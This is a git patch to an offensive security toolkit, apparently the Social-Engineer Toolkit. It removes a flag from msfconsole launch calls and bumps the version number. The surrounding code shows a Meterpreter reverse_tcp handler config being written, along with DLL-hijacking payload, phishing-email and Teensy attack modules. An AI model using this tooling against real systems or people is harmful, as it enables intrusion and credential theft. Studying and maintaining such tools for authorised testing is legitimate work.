From 644433578f565012e0b65ebf41d8e97da31bac71 Mon Sep 17 00:00:00 2001 From: TrustedSec Date: Wed, 11 Dec 2013 13:09:51 -0500 Subject: [PATCH] Updated to get re-enable database support in msfconsole --- src/autorun/autorun.py | 2 +- src/core/msf_attacks/create_payload.py | 2 +- src/core/payloadgen/solo.py | 2 +- src/core/setcore.py | 2 +- src/html/spawn.py | 2 +- src/phishing/smtp/client/smtp_client.py | 4 ++-- src/powershell/powershell.py | 2 +- src/teensy/teensy.py | 2 +- 8 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/autorun/autorun.py b/src/autorun/autorun.py index a8d189703..4919a9ae8 100644 --- a/src/autorun/autorun.py +++ b/src/autorun/autorun.py @@ -73,7 +73,7 @@ if trigger == 2 or trigger == 3: filewrite.write("set lport " + line[2] + "\n") filewrite.write("exploit -j") filewrite.close() - subprocess.Popen("ruby %s/msfconsole -L -n -r %s/meta_config" % (msf_path, setdir), shell=True).wait() + subprocess.Popen("ruby %s/msfconsole -L -r %s/meta_config" % (msf_path, setdir), shell=True).wait() else: print_warning("cancelling...") sleep (2) diff --git a/src/core/msf_attacks/create_payload.py b/src/core/msf_attacks/create_payload.py index 8f5ff87d7..46a79e63a 100644 --- a/src/core/msf_attacks/create_payload.py +++ b/src/core/msf_attacks/create_payload.py @@ -256,7 +256,7 @@ if exploit == "dll_hijacking": if not os.path.isfile(setdir + "/fileformat.file" % (setdir)): print_info("This may take a few to load MSF...") try: - child1=pexpect.spawn("ruby %s/msfconsole -L -n -r %s/meta_config" % (meta_path,setdir)) + child1=pexpect.spawn("ruby %s/msfconsole -L -r %s/meta_config" % (meta_path,setdir)) except: try: child1.close() diff --git a/src/core/payloadgen/solo.py b/src/core/payloadgen/solo.py index 3623f2e4d..130bcc0f0 100644 --- a/src/core/payloadgen/solo.py +++ b/src/core/payloadgen/solo.py @@ -27,7 +27,7 @@ if choice == "YES": if os.path.isfile(setdir + "/meta_config_multipyinjector"): listen_path = (setdir + "/meta_config_multipyinjector") - subprocess.Popen("ruby %s/msfconsole -L -n -r %s" % (meta_path,listen_path), shell=True).wait() + subprocess.Popen("ruby %s/msfconsole -L -r %s" % (meta_path,listen_path), shell=True).wait() # if we did select the set payload as our option if os.path.isfile(setdir + "/set.payload"): diff --git a/src/core/setcore.py b/src/core/setcore.py index 050c917d2..9df863615 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -229,7 +229,7 @@ def print_error(message): print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC def get_version(): - define_version = '5.4.2' + define_version = '5.4.3' return define_version class create_menu: diff --git a/src/html/spawn.py b/src/html/spawn.py index ab8735ab2..094a5405f 100644 --- a/src/html/spawn.py +++ b/src/html/spawn.py @@ -486,7 +486,7 @@ try: meta_config = "meta_config" if os.path.isfile(setdir + "/meta_config_multipyinjector"): meta_config = "meta_config_multipyinjector" - child1=pexpect.spawn("ruby %s/msfconsole -L -n -r %s/%s" % (msf_path,setdir,meta_config)) + child1=pexpect.spawn("ruby %s/msfconsole -L -r %s/%s" % (msf_path,setdir,meta_config)) # check if we want to deliver emails or track users that click the link webattack_email = check_config("WEBATTACK_EMAIL=").lower() if webattack_email == "on" or track_email == "on": diff --git a/src/phishing/smtp/client/smtp_client.py b/src/phishing/smtp/client/smtp_client.py index 7aa5eeb99..1b107aebc 100644 --- a/src/phishing/smtp/client/smtp_client.py +++ b/src/phishing/smtp/client/smtp_client.py @@ -398,7 +398,7 @@ if not os.path.isfile(setdir + "/template.zip"): if not os.path.isfile(setdir + "/unc_config"): print_error("Sorry, you did not generate your payload through SET, this option is not supported.") if os.path.isfile(setdir + "/unc_config"): - child=pexpect.spawn("ruby %s/msfconsole -L -n -r %s/unc_config" % (meta_path,setdir)) + child=pexpect.spawn("ruby %s/msfconsole -L -r %s/unc_config" % (meta_path,setdir)) try: child.interact() except Exception: child.close() @@ -418,7 +418,7 @@ if not os.path.isfile(setdir + "/template.zip"): filewrite.write("set ExitOnSession false\n") filewrite.write("exploit -j\n\n") filewrite.close() - child=pexpect.spawn("ruby %s/msfconsole -L -n -r %s/meta_config" % (meta_path,setdir)) + child=pexpect.spawn("ruby %s/msfconsole -L -r %s/meta_config" % (meta_path,setdir)) try: child.interact() except Exception: diff --git a/src/powershell/powershell.py b/src/powershell/powershell.py index c67c8acce..3b98acd27 100644 --- a/src/powershell/powershell.py +++ b/src/powershell/powershell.py @@ -56,7 +56,7 @@ if powershell_menu_choice != "99": filewrite.write("use multi/handler\nset payload windows/meterpreter/reverse_tcp\nset lport %s\nset LHOST 0.0.0.0\nexploit -j" % (port)) filewrite.close() msf_path = meta_path() - subprocess.Popen("ruby %s/msfconsole -L -n -r %s/reports/powershell/powershell.rc" % (msf_path, setdir), shell=True).wait() + subprocess.Popen("ruby %s/msfconsole -L -r %s/reports/powershell/powershell.rc" % (msf_path, setdir), shell=True).wait() print_status("Powershell files can be found under %s/reports/powershell/" % (setdir)) return_continue() diff --git a/src/teensy/teensy.py b/src/teensy/teensy.py index 245658993..164f591aa 100644 --- a/src/teensy/teensy.py +++ b/src/teensy/teensy.py @@ -133,7 +133,7 @@ if payload_counter == 1: print bcolors.BLUE + "[*] This may take a few to load MSF..." + bcolors.ENDC try: if operating_system != "windows": - child1=pexpect.spawn("ruby %s/msfconsole -L -n -r %s/meta_config" % (msf_path,setdir)) + child1=pexpect.spawn("ruby %s/msfconsole -L -r %s/meta_config" % (msf_path,setdir)) child1.interact() except: if operating_system != "windows":